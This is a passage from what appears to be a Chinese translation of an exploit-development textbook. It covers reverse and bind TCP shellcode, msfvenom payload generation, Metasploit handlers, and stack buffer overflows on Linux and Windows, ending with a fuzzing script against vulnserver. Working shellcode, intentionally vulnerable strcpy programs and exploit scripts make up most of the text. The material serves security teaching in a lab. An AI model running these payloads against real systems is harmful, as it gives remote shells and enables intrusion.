"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x68\xc0\xa8\xee\x01\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x2a\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
 {
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

让我们在我们的受害者机器上编译它:

$ gcc -fno-stack-protector -z execstack reverse-tcp-shellcode.c -o reverse-tcp-shellcode

然后,在我们的攻击者机器上设置一个监听器:

$ nc -lp 1234

现在,在我们的受害者机器上设置一个监听器:

$ ./reverse-tcp-shellcode

前面命令的输出显示在以下截图中:

现在,我们连接到了攻击者的机器:

我们成功了!

使用 Metasploit 生成 shellcode

在这里,事情比你想象的简单。我们将使用 Metasploit 为多个平台和多个架构生成 shellcode,并在一个命令中删除坏字符。

我们将使用 msfvenom 命令。让我们使用 msfvenom -h 显示所有选项:

让我们使用msfvenom -l列出所有的有效载荷-这是一个非常庞大的有效载荷列表:

这只是列表中的一个小部分。

让我们使用msfvenom --help-formats来查看输出格式:

让我们尝试在 Linux 上创建绑定 TCP shellcode:

$ msfvenom -a x64 --platform linux -p linux/x64/shell/bind_tcp -b "\x00" -f c

这里很简单:-a指定架构,然后我们指定平台为 Linux,然后选择我们的有效载荷为linux/x64/shell/bind_tcp,然后使用-b选项去除不良字符\x00,最后我们指定格式为 C。让我们执行一下看看:

现在,将那个 shellcode 复制到我们的 C 代码中:

#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xdd\x0a\x08\xe9\x70\x39\xf7\x21\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb7\x23\x50\x70\x1a\x3b"
"\xa8\x4b\xdc\x54\x07\xec\x38\xae\xa5\xe6\xd9\x2e\x0a\xe9\x61"
"\x65\xbf\xa8\x3b\x60\x18\xb3\x1a\x08\xaf\x2e\xd8\x53\x62\xdb"
"\x28\x36\xf2\x69\x4b\x60\x23\xb1\x7f\x3c\xa7\x77\x82\x60\x01"
"\xb1\xe9\x8f\xe7\x69\x54\xdc\x45\xd8\xb9\x53\xd5\x60\x87\xb8"
"\x0f\xe6\x75\x71\x61\x69\x4a\x55\x07\xec\x8f\xdf\xf7\x21";

int main()
{
     printf("Shellcode Length: %d\n", (int)strlen(code));
     int (*ret)() = (int(*)())code;
     ret();
}

然后,将其复制到我们的受害者机器上。现在,编译并运行它:

$ gcc -fno-stack-protector -z execstack bin-tcp-msf.c -o bin-tcp-msf
$ ./bin-tcp-msf

它正在等待连接。现在,让我们在攻击者机器上使用 Metasploit Framework 和msfconsole命令设置我们的监听器,然后选择处理程序:

use exploit/multi/handler

然后,我们使用这个命令选择我们的有效载荷:

set PAYLOAD linux/x64/shell/bind_tcp

现在,我们指定受害者机器的 IP:

set RHOST 192.168.238.128

然后,我们指定端口- Metasploit 的默认端口是4444

set LPORT 4444

现在,我们运行我们的处理程序:

exploit

上述命令的输出如下截图所示:

它说会话在session 1上是活动的。让我们使用session 1激活这个会话:

成功了!

总结

在本章中,我们学习了如何创建简单的 shellcode 以及如何去除不良字符。我们继续使用execve执行系统命令。然后,我们构建了高级的 shellcode,比如绑定 TCP shell 和反向 TCP shell。最后,我们看到了如何使用 Metasploit Framework 在一行中构建 shellcode 以及如何使用 Metasploit 设置监听器。

我们现在确切地知道如何构建有效载荷,所以我们将看看如何使用它们。在下一章中,我们将讨论缓冲区溢出攻击。

第六章:缓冲区溢出攻击

在本章中,我们将更深入地探讨缓冲区溢出攻击。我们将看到如何改变执行流程,并且看一些非常简单的方法来注入 shellcode。我们开始吧?

Linux 上的堆栈溢出

现在,我们即将学习什么是缓冲区溢出,并且我们将了解如何改变执行流程,使用一个有漏洞的源代码。

我们将使用以下代码:

int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}
void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

好的,让我们稍微调整一下,做一些更有用的事情:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}

void letsprint()
{
    printf("Hey!! , you succeeded\n");
    exit(0);
}

void main (int argc, char *argv[])
{
   int local_variable = 1;
   copytobuffer(argv[1]);
   exit(0);
}

在这里,我们添加了一个新函数letsprint,其中包含printf,由于这个函数从未在main函数中被调用过,它将永远不会被执行。那么,如果我们使用这个缓冲区溢出来控制执行并改变流程来执行这个函数呢?

现在,让我们在我们的 Ubuntu 机器上编译并运行它:

$ gcc -fno-stack-protector -z execstack buffer.c -o buffer
$ ./buffer aaaa

前面命令的输出可以在以下截图中看到:

如你所见,什么都没有发生。让我们尝试造成溢出:

 $ ./buffer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

前面命令的输出可以在以下截图中看到:

好的,现在让我们试着在我们的 GDB 中获取那个错误:

$ gdb ./buffer

然后,让我们在main函数处设置一个断点,暂停执行在main函数处:

$ break main

现在,程序开始。它将在main函数处暂停。使用 24 个a字符作为输入继续:

$ run aaaaaaaaaaaaaaaaaaaaaaaa

然后,代码将在main处暂停:

按下CEnter键继续执行:

程序如预期地崩溃了,所以让我们尝试输入 26 个a字符:

$ run aaaaaaaaaaaaaaaaaaaaaaaaaa

你可以使用 Python 生成输入,而不是计算字符数:

#!/usr/bin/python

buffer = ''
buffer += 'a'*26
f = open("input.txt", "w")
f.write(buffer)

然后,给予它执行权限并执行它:

$ chmod +x exploit.py

$ ./exploit.py

在 GDB 中,运行以下命令:

$ run $(cat input.txt)

然后,代码将在main处暂停:

按下C然后Enter继续执行:

你注意到??()中的错误0x0000000000006161了吗?从前面的截图中,程序不知道0x0000000000006161在哪里,6161aa,这意味着我们能够向 RIP 寄存器注入 2 个字节,这就是我如何在 24 个字符后开始的。别担心,我们将在下一章中讨论这个问题。

让我们确认一下,使用 24 个a字符和 6 个b字符:

$ run aaaaaaaaaaaaaaaaaaaaaaaabbbbbb

我们也可以使用 Python:

#!/usr/bin/python

buffer = ''
buffer += 'a'*24
buffer += 'b'*6
f = open("input.txt", "w")
f.write(buffer)

然后,执行利用以生成新的输入:

$ ./exploit

之后,在 GDB 中运行以下命令:

$ run $(cat input.txt)

然后,代码将触发断点:

按下C然后Enter继续:

现在,通过查看错误,我们看到我们注入的b字符在里面。在这一点上,我们做得很好。现在我们知道了我们的注入形式,让我们尝试使用disassemble命令执行letsprint函数:

$ disassemble letsprint

前面命令的输出可以在以下截图中看到:

我们得到了letsprint函数中的第一条指令,push rbp,地址为0x00000000004005e3,我们需要的是真实地址;我们也可以使用print命令来获取地址:

$ print letsprint

前面命令的输出可以在以下截图中看到:

现在我们有了地址,让我们尝试使用 Python 构建我们的利用,因为我们不能直接传递地址:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += 'a'*24
buffer += pack("<Q", 0x0000004005e3)
f = open("input.txt", "w")
f.write(buffer)

然后,我们执行它以生成新的输入:

$ ./exploit

现在,在 GDB 中,运行以下命令:

$ run $(cat input.txt)

然后,它将触发断点:

按下C然后Enter继续:

我们做到了!现在,让我们从我们的 shell 中确认,而不是从 GDB 中确认:

$ ./buffer $(cat input.txt)

前面命令的输出可以在以下截图中看到:

是的,我们改变了执行流程,执行了本不应该执行的东西!

让我们再试一个有趣的有效载荷。我们将使用我们的代码:

int copytobuffer(char* input)
 {
     char buffer[15];
     strcpy (buffer,input);
     return 0;
 }

void main (int argc, char *argv[])
 {
     int local_variable = 1;
     copytobuffer(argv[1]);
     exit(0);
 }

但我们将在这里添加我们的execve系统调用来从上一章运行/bin/sh

unsigned char code[] =
 "\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
 {
     printf("Shellcode Length: %d\n", (int)strlen(code));
     int (*ret)() = (int(*)())code;
     ret();
 }

让我们把它们放在一起:

 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>

 void shell_pwn()
 {
    char code[] =
     "\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
     \x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
 }
 int copytobuffer(char* input)
 {
     char buffer[15];
     strcpy (buffer,input);
     return 0;
 }

 void main (int argc, char *argv[])
 {
     int local_variable = 1;
     copytobuffer(argv[1]);
     exit(0);
 }

此外,这里shell_pwn永远不会被执行,因为我们从未在这里调用它,但现在我们知道如何做。首先,让我们编译它:

 $ gcc -fno-stack-protector -z execstack exec.c -o exec

然后,在 GDB 中打开我们的代码:

$ gdb ./exec

然后,在main函数处设置断点:

$ break main

好的,现在让我们准备我们的利用程序来确认 RIP 寄存器的确切位置:

#!/usr/bin/python

 buffer = ''
 buffer += 'a'*24
 buffer += 'b'*6
 f = open("input.txt", "w")
 f.write(buffer)

然后,执行我们的利用程序:

$ ./exploit.py

现在,从 GDB 中运行以下命令:

$ run $(cat input.txt)

然后,它将在main函数处触发断点:

C然后Enter继续:

是的,它在抱怨我们的 6 个b字符,0x0000626262626262,所以现在我们走上了正确的道路。现在,让我们找到我们 shellcode 的地址:

$ disassemble shell_pwn

上述命令的输出可以在以下屏幕截图中看到:

第一条指令的地址是0x000000000040060d。此外,我们可以使用print函数:

$ print shell_pwn

上述命令的输出可以在以下屏幕截图中看到:

完美!现在,让我们构建我们的最终利用:

#!/usr/bin/python
 from struct import *

 buffer = ''
 buffer += 'a'*24
 buffer += pack("<Q", 0x00000040060d)
 f = open("input.txt", "w")
 f.write(buffer)

然后,执行它:

$ ./exploit.py

然后,在 GDB 内部,运行以下命令:

$ run $(cat input.txt)

然后,代码将在main函数处暂停;按C继续:

现在我们有了一个 shell;让我们尝试使用$ cat /etc/issue来执行它:

让我们确认一下,使用我们的 bash shell 而不是 GDB:

$ ./exec $(cat input.txt)

上述命令的输出可以在以下屏幕截图中看到:

让我们尝试执行一些东西:

它奏效了!

Windows 上的堆栈溢出

现在,让我们尝试之前的易受攻击代码来利用 Windows 7 上的堆栈溢出。我们甚至不必在 Windows 上禁用任何安全机制,如地址空间布局随机化ASLR)或数据执行防护DEP);我们将在第十二章中讨论安全机制,检测和预防 - 我们开始吧?

让我们使用 Code::Blocks 尝试我们的易受攻击代码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
     char buffer[15];
     strcpy (buffer,input);
     return 0;
}

void letsprint()
{
    printf("Hey!! , you succeeded\n");
    exit(0);
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

简单地打开 Code::Blocks 并导航到文件|新建|空文件。

然后,编写我们的易受攻击代码。转到文件|保存文件,然后将其保存为buffer2.c

现在,让我们通过导航到构建|构建来构建我们的代码。

让我们尝试看看幕后发生了什么;以管理员身份打开 Immunity Debugger。

然后,转到文件|打开并选择buffer2。在这里,将我们的参数输入为aaaaaaaaaaaaaaaaaaaaaaaaaaabbbb(27 个a和 4 个b的字符);稍后我们将知道如何获得我们有效负载的长度:

现在,我们可以看到我们的四个窗口。运行程序一次。之后,我们就到了程序的入口点:

现在,再次运行程序并注意状态栏:

当执行62626262时,程序崩溃并给出访问冲突,这些是我们的字符b的 ASCII 码,最重要的是要注意寄存器(FPU)窗口:

指令指针指向b字符62626262,太完美了!

现在,让我们尝试定位我们的函数。从 Immunity Debugger 中,导航到调试|重新启动。

现在我们重新开始;运行程序一次,然后右键单击反汇编窗口,导航到搜索|所有引用的文本字符串:

在这里,我们正在搜索我们的字符串,它位于letsprint函数内部,Hey!! , you succeeded\n

将弹出一个新窗口:

第三个是我们的字符串,但由于exit(0)函数的存在,它是不可读的。您可以通过编译另一个版本并执行相同的步骤来确保,然后您将能够读取我们的字符串。

这里的地址不是固定的-您可能会得到不同的地址。

双击我们的字符串,然后 Immunity Debugger 会将您准确设置在地址0x00401367处的字符串上:

实际上,我们不需要我们的字符串,但我们需要定位letsprint函数。继续向上直到到达上一个函数的末尾(RETN指令)。然后,下一条指令将是letsprint函数的开始:

就是这样!地址0x0040135f应该是letsprint函数的开始。现在,让我们确认一下。打开 IDLE(Python GUI)并导航到文件|新建窗口:

在新窗口中,编写我们的利用程序:

#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*27
buffer += pack("<Q", 0x0040135f)
f = open("input.txt", "w")
f.write(buffer)

然后,将其保存为exploit.py

点击 IDLE 窗口上的运行,这将在当前工作目录中生成一个新文件input.txt

打开input.txt文件:

这是我们的有效载荷;复制输出文件的内容。然后,返回到 Immunity Debugger,通过导航到文件|打开,然后将有效载荷粘贴到参数中并选择buffer2

然后,启动 Immunity Debugger:

现在,运行程序;然后,它将暂停在程序的入口点:

现在,再次运行程序一次:

程序正常退出,退出代码为0。现在,让我们来看看 Immunity 的 CLI:

它奏效了!让我们来看看堆栈窗口:

请注意,a字符被注入到堆栈中,letsprint地址被正确注入。

现在,让我们尝试注入一个 shellcode,而不是使用letsprint函数,使用 Metasploit 生成 Windows 的 shellcode:

$ msfvenom -p windows/shell_bind_tcp -b'\x00\x0A\x0D' -f c

前面命令的输出可以在下面的截图中看到:

我们可以在使用之前测试这个 shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\xda\xcf\xd9\x74\x24\xf4\xbd\xb8\xbe\xbf\xa8\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x6b\x13\x03\xd3\xad\x5d\x5d\xdf\x3a\x23"
"\x9e\x1f\xbb\x44\x16\xfa\x8a\x44\x4c\x8f\xbd\x74\x06\xdd\x31"
"\xfe\x4a\xf5\xc2\x72\x43\xfa\x63\x38\xb5\x35\x73\x11\x85\x54"
"\xf7\x68\xda\xb6\xc6\xa2\x2f\xb7\x0f\xde\xc2\xe5\xd8\x94\x71"
"\x19\x6c\xe0\x49\x92\x3e\xe4\xc9\x47\xf6\x07\xfb\xd6\x8c\x51"
"\xdb\xd9\x41\xea\x52\xc1\x86\xd7\x2d\x7a\x7c\xa3\xaf\xaa\x4c"
"\x4c\x03\x93\x60\xbf\x5d\xd4\x47\x20\x28\x2c\xb4\xdd\x2b\xeb"
"\xc6\x39\xb9\xef\x61\xc9\x19\xcb\x90\x1e\xff\x98\x9f\xeb\x8b"
"\xc6\x83\xea\x58\x7d\xbf\x67\x5f\x51\x49\x33\x44\x75\x11\xe7"
"\xe5\x2c\xff\x46\x19\x2e\xa0\x37\xbf\x25\x4d\x23\xb2\x64\x1a"
"\x80\xff\x96\xda\x8e\x88\xe5\xe8\x11\x23\x61\x41\xd9\xed\x76"
"\xa6\xf0\x4a\xe8\x59\xfb\xaa\x21\x9e\xaf\xfa\x59\x37\xd0\x90"
"\x99\xb8\x05\x0c\x91\x1f\xf6\x33\x5c\xdf\xa6\xf3\xce\x88\xac"
"\xfb\x31\xa8\xce\xd1\x5a\x41\x33\xda\x75\xce\xba\x3c\x1f\xfe"
"\xea\x97\xb7\x3c\xc9\x2f\x20\x3e\x3b\x18\xc6\x77\x2d\x9f\xe9"
"\x87\x7b\xb7\x7d\x0c\x68\x03\x9c\x13\xa5\x23\xc9\x84\x33\xa2"
"\xb8\x35\x43\xef\x2a\xd5\xd6\x74\xaa\x90\xca\x22\xfd\xf5\x3d"
"\x3b\x6b\xe8\x64\x95\x89\xf1\xf1\xde\x09\x2e\xc2\xe1\x90\xa3"
"\x7e\xc6\x82\x7d\x7e\x42\xf6\xd1\x29\x1c\xa0\x97\x83\xee\x1a"
"\x4e\x7f\xb9\xca\x17\xb3\x7a\x8c\x17\x9e\x0c\x70\xa9\x77\x49"
"\x8f\x06\x10\x5d\xe8\x7a\x80\xa2\x23\x3f\xb0\xe8\x69\x16\x59"
"\xb5\xf8\x2a\x04\x46\xd7\x69\x31\xc5\xdd\x11\xc6\xd5\x94\x14"
"\x82\x51\x45\x65\x9b\x37\x69\xda\x9c\x1d";

int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

然后,构建并运行它:

现在,它正在等待我们的连接。从我们的攻击机器上,启动 Metasploit:

$ msfconsole

然后,选择处理程序以连接到受害者机器:

 $ use exploit/multi/handler

现在,选择我们的有效载荷,即windows/shell_bind_tcp

$ set payload windows/shell_bind_tcp

然后,设置受害者机器的 IP 地址:

现在,设置 rhost:

$ set rhost 192.168.129.128

然后,让我们开始:

$ run

前面命令的输出可以在下面的截图中看到:

现在,会话开始于session 1

$ session 1

前面命令的输出可以在下面的截图中看到:

我们现在在受害者机器内部。退出此会话,让我们回到我们的代码。因此,我们的最终代码应该是这样的:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int shell_pwn()
{
unsigned char code[] =
"\xda\xcf\xd9\x74\x24\xf4\xbd\xb8\xbe\xbf\xa8\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x6b\x13\x03\xd3\xad\x5d\x5d\xdf\x3a\x23"
"\x9e\x1f\xbb\x44\x16\xfa\x8a\x44\x4c\x8f\xbd\x74\x06\xdd\x31"
"\xfe\x4a\xf5\xc2\x72\x43\xfa\x63\x38\xb5\x35\x73\x11\x85\x54"
"\xf7\x68\xda\xb6\xc6\xa2\x2f\xb7\x0f\xde\xc2\xe5\xd8\x94\x71"
"\x19\x6c\xe0\x49\x92\x3e\xe4\xc9\x47\xf6\x07\xfb\xd6\x8c\x51"
"\xdb\xd9\x41\xea\x52\xc1\x86\xd7\x2d\x7a\x7c\xa3\xaf\xaa\x4c"
"\x4c\x03\x93\x60\xbf\x5d\xd4\x47\x20\x28\x2c\xb4\xdd\x2b\xeb"
"\xc6\x39\xb9\xef\x61\xc9\x19\xcb\x90\x1e\xff\x98\x9f\xeb\x8b"
"\xc6\x83\xea\x58\x7d\xbf\x67\x5f\x51\x49\x33\x44\x75\x11\xe7"
"\xe5\x2c\xff\x46\x19\x2e\xa0\x37\xbf\x25\x4d\x23\xb2\x64\x1a"
"\x80\xff\x96\xda\x8e\x88\xe5\xe8\x11\x23\x61\x41\xd9\xed\x76"
"\xa6\xf0\x4a\xe8\x59\xfb\xaa\x21\x9e\xaf\xfa\x59\x37\xd0\x90"
"\x99\xb8\x05\x0c\x91\x1f\xf6\x33\x5c\xdf\xa6\xf3\xce\x88\xac"
"\xfb\x31\xa8\xce\xd1\x5a\x41\x33\xda\x75\xce\xba\x3c\x1f\xfe"
"\xea\x97\xb7\x3c\xc9\x2f\x20\x3e\x3b\x18\xc6\x77\x2d\x9f\xe9"
"\x87\x7b\xb7\x7d\x0c\x68\x03\x9c\x13\xa5\x23\xc9\x84\x33\xa2"
"\xb8\x35\x43\xef\x2a\xd5\xd6\x74\xaa\x90\xca\x22\xfd\xf5\x3d"
"\x3b\x6b\xe8\x64\x95\x89\xf1\xf1\xde\x09\x2e\xc2\xe1\x90\xa3"
"\x7e\xc6\x82\x7d\x7e\x42\xf6\xd1\x29\x1c\xa0\x97\x83\xee\x1a"
"\x4e\x7f\xb9\xca\x17\xb3\x7a\x8c\x17\x9e\x0c\x70\xa9\x77\x49"
"\x8f\x06\x10\x5d\xe8\x7a\x80\xa2\x23\x3f\xb0\xe8\x69\x16\x59"
"\xb5\xf8\x2a\x04\x46\xd7\x69\x31\xc5\xdd\x11\xc6\xd5\x94\x14"
"\x82\x51\x45\x65\x9b\x37\x69\xda\x9c\x1d";

    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

现在,构建它,并让我们在 Immunity Debugger 中运行它,以找到shell_pwn函数的地址。以管理员身份启动 Immunity Debugger,并选择我们带有任何参数的新代码:

然后,运行程序一次。现在,我们在程序的入口点:

右键单击主屏幕,导航到搜索|所有引用的文本字符串:

你看到Shellcode Length了吗?这是shell_pwn函数中的一个字符串;现在双击它:

程序将我们设置在Shellcode Length字符串的确切位置。现在,让我们向上移动,直到我们达到函数的起始地址:

就是在地址0x00401340。现在,让我们设置我们的利用代码:

#!/usr/bin/python
 from struct import *
 buffer = ''
 buffer += 'a'*27
 buffer += pack("<Q", 0x00401340)
 f = open("input.txt", "w")
 f.write(buffer)

现在,运行利用代码以更新input.txt;然后,打开input.txt

然后,复制其中的内容。返回到 Immunity Debugger,再次打开程序并粘贴有效载荷:

然后,再次运行程序两次。代码仍在运行:

还要注意状态栏:

我们的 shellcode 现在正在运行并等待我们的连接。让我们回到我们的攻击机器上,设置处理程序以连接到受害者机器:

$ msfconsole

$ use exploit/multi/handler

$ set payload windows/shell_bind_tcp

$ set rhost 192.168.129.128

$ run

前面命令的输出可以在下面的截图中看到:

连接已在session 2上建立:

 $ session 2

前面命令的输出可以在下面的截图中看到:

它奏效了!

总结

在这一点上,我们知道了如何在 Linux 和 Windows 上进行缓冲区溢出攻击。此外,我们知道如何利用堆栈溢出。

在下一章中,我们将讨论更多的技术,比如如何定位和控制指令指针,如何找到有效载荷的位置,以及更多关于缓冲区溢出攻击的技术。

第七章:利用开发-第 1 部分

利用开发,我们来了!现在我们开始真正的东西!在本章中,我们将学习如何处理利用模糊测试。我们还将学习利用开发中的技术,如控制指令指针以及如何找到放置我们的 shellcode 的位置。

以下是我们将在本章中涵盖的主题:

  • 模糊测试和控制指令指针

  • 注入 shellcode

  • 缓冲区溢出的完整示例

让我们开始吧!

模糊测试和控制指令指针

在上一章中,我们注入了字符,但我们需要知道指令指针的确切偏移量,即注入 24 个 As。找到 RIP 寄存器的确切偏移量的想法是注入一个特定序列长度的模式,并根据堆栈上的最后一个元素计算 RIP 寄存器的偏移量。别担心,你将在下一个例子中理解。那么我们如何确定 RIP 寄存器的确切偏移量呢?我们有两个工具可以做到这一点,Metasploit 框架和 PEDA,我们将讨论它们两个。

使用 Metasploit 框架和 PEDA

首先,我们将使用 Metasploit 框架创建模式,为此我们需要导航到此位置:/usr/share/metasploit-framework/tools/exploit/

现在,如何创建一个模式?我们可以使用pattern_create.rb来创建一个。

让我们举个例子,使用我们的易受攻击的代码,但使用一个更大的缓冲区,比如256

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
    char buffer[256];
    strcpy (buffer,input);
    return 0;
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

现在,让我们编译它:

$ gcc -fno-stack-protector -z execstack buffer.c -o buffer

然后我们将使用 GDB:

$ gdb ./buffer

接下来,我们计算 RIP 位置的偏移量。因此,首先让我们在攻击机上使用 Metasploit 框架创建一个模式,并在/usr/share/metasploit-framework/tools/exploit/中进行操作:

$ ./pattern_create.rb -l 300 > pattern

在上一个命令中,我们生成了一个长度为300的模式,并将其保存在名为pattern的文件中。现在将此文件复制到我们的受害机器上,并在 GDB 中使用此模式作为输入:

$ run $(cat pattern)

上述命令的输出可以在以下截图中看到:

代码停止了,如预期的那样,出现了错误。现在,我们需要提取堆栈中的最后一个元素,因为在那之后的元素应该溢出 RIP 寄存器。让我们看看如何使用x命令打印内存中的内容来获取堆栈中的最后一个元素。让我们看看x命令在 GDB 中的工作原理,使用help x

现在,让我们使用x打印堆栈中的最后一个元素:

$ x/x $rsp

上述命令的输出可以在以下截图中看到:

堆栈中的最后一个元素是0x41386941。您还可以使用x/wx $rsp来打印 RSP 寄存器内的完整字。现在我们需要在攻击机上使用pattern_offset.rb计算 RIP 寄存器的确切位置:

$ ./pattern_offset.rb -q 0x41386941 -l 300

首先,我们指定了我们从堆栈中提取的查询;然后我们指定了我们使用的模式的长度:

它告诉我们堆栈中的最后一个元素位于位置264,这意味着接下来的六个字符应该溢出 RIP 寄存器:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += 'A'*264
buffer += pack("<Q", 0x424242424242)
f = open("input.txt", "w")
f.write(buffer)

如果我们的计算是正确的,我们应该在 RIP 中看到 42。让我们运行这段代码:

$ chmod +x exploit.py

$ ./exploit.py

然后,在 GDB 中运行以下命令:

$ run $(cat input.txt)

上述命令的输出可以在以下截图中看到:

我们的 42 现在在指令指针中,ASCII 中是bbbbbb

注入 shellcode

RIP 现在包含我们的 6 个 Bs(424242424242),代码已经不再抱怨0x0000424242424242在内存中的位置了。

到目前为止,我们已经成功地利用了我们的漏洞。这就是我们的有效载荷:

我们需要找到一种方法来注入 shellcode 到 As 中,这样我们就可以轻松地跳转到它。为此,我们需要首先注入0x90或 NOP 指令,即 NOP,只是为了确保我们的 shellcode 被正确注入。在注入我们的 shellcode 之后,我们将改变指令指针(RIP)到内存中包含 NOP 指令(0x90)的任何地址。

然后执行应该只是在所有 NOP 指令上传递,直到它碰到 Shellcode,然后开始执行它:

这就是我们的攻击应该是什么样子的。让我们尝试注入 execve /bin/sh shellcode(长度为 32)。现在我们需要在内存中找到包含 0x90 的任何地址:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer += 'C'*32
buffer += pack("<Q", 0x424242424242)
f = open("input.txt", "w")
f.write(buffer)

让我们运行新的攻击:

$./exploit.py

然后,在 GDB 中,运行以下命令:

$ run $(cat input.txt)

上述命令的输出可以在以下截图中看到:

程序停止了。现在,让我们查看堆栈以搜索我们的 NOP 滑块,通过从内存中打印 200 个十六进制值:

$ x/200x $rsp

上述命令的输出可以在以下截图中看到:

我们得到了它们!这些是我们注入的 NOP 指令。此外,在 NOP 之后,你可以看到 32 个 C(43),所以现在我们可以选择这些 NOP 指令中间的任何地址;让我们选择 0x7fffffffe2c0

这就是最终的有效载荷应该是什么样子的:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer += '\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05'
buffer += pack("<Q", 0x7fffffffe2c0)
f = open("input.txt", "w")
f.write(buffer)

让我们运行攻击:

$ ./exploit.py

然后,在 GDB 中,运行以下命令:

$ run $(cat input.txt)

上述命令的输出可以在以下截图中看到:

现在我们在 GDB 中得到了 bash 提示符;让我们尝试执行类似 cat /etc/issue 的命令:

它给了我们 /etc/issue 的内容。

它成功了!

缓冲区溢出的完整示例

现在,让我们看一个完整的缓冲区溢出示例。我们需要下载并在 Windows 上运行 vulnserver。Vulnserver 是一个易受攻击的服务器,我们可以在其中练习利用开发技能。你可以在 github.com/stephenbradshaw/vulnserver 找到它。

下载后,使用 vulnserver.exe 运行它:

现在,它正在工作,并等待在端口 9999 上使用 netcat 进行连接。

Netcat 是一个用于与服务器建立连接或监听端口并等待来自另一个客户端的连接的工具。现在,让我们从攻击机器上使用 nc

$ nc 172.16.89.131 9999

上述命令的输出可以在以下截图中看到:

现在,让我们尝试模糊化一个参数,比如 TRUN(这是一个易受攻击的参数,在易受攻击的设计应用程序中)。我们需要建立一个脚本来帮助我们做到这一点:

#!/usr/bin/python
import socket

server = '172.16.89.131'    # IP address of the victim machine 
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + 'A'*50 + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

让我们尝试发送 50 个 A:

它没有崩溃。那么 5000 个 A 呢:

#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + 'A'*5000 + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

./fuzzing.py 命令的输出可以在以下截图中看到:

没有回复!让我们看看我们的 Windows 机器:

程序崩溃了,它抱怨内存位置 0x41414141,这是我们的 5000 个 A。在第二阶段,也就是控制 RIP,让我们创建一个长度为 5000 字节的模式。

从我们的攻击机器,导航到 /usr/share/metasploit-framework/tools/exploit/

./pattern_create.rb -l 5000

上述命令的输出可以在以下截图中看到:

将输出模式复制到我们的攻击中:

#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

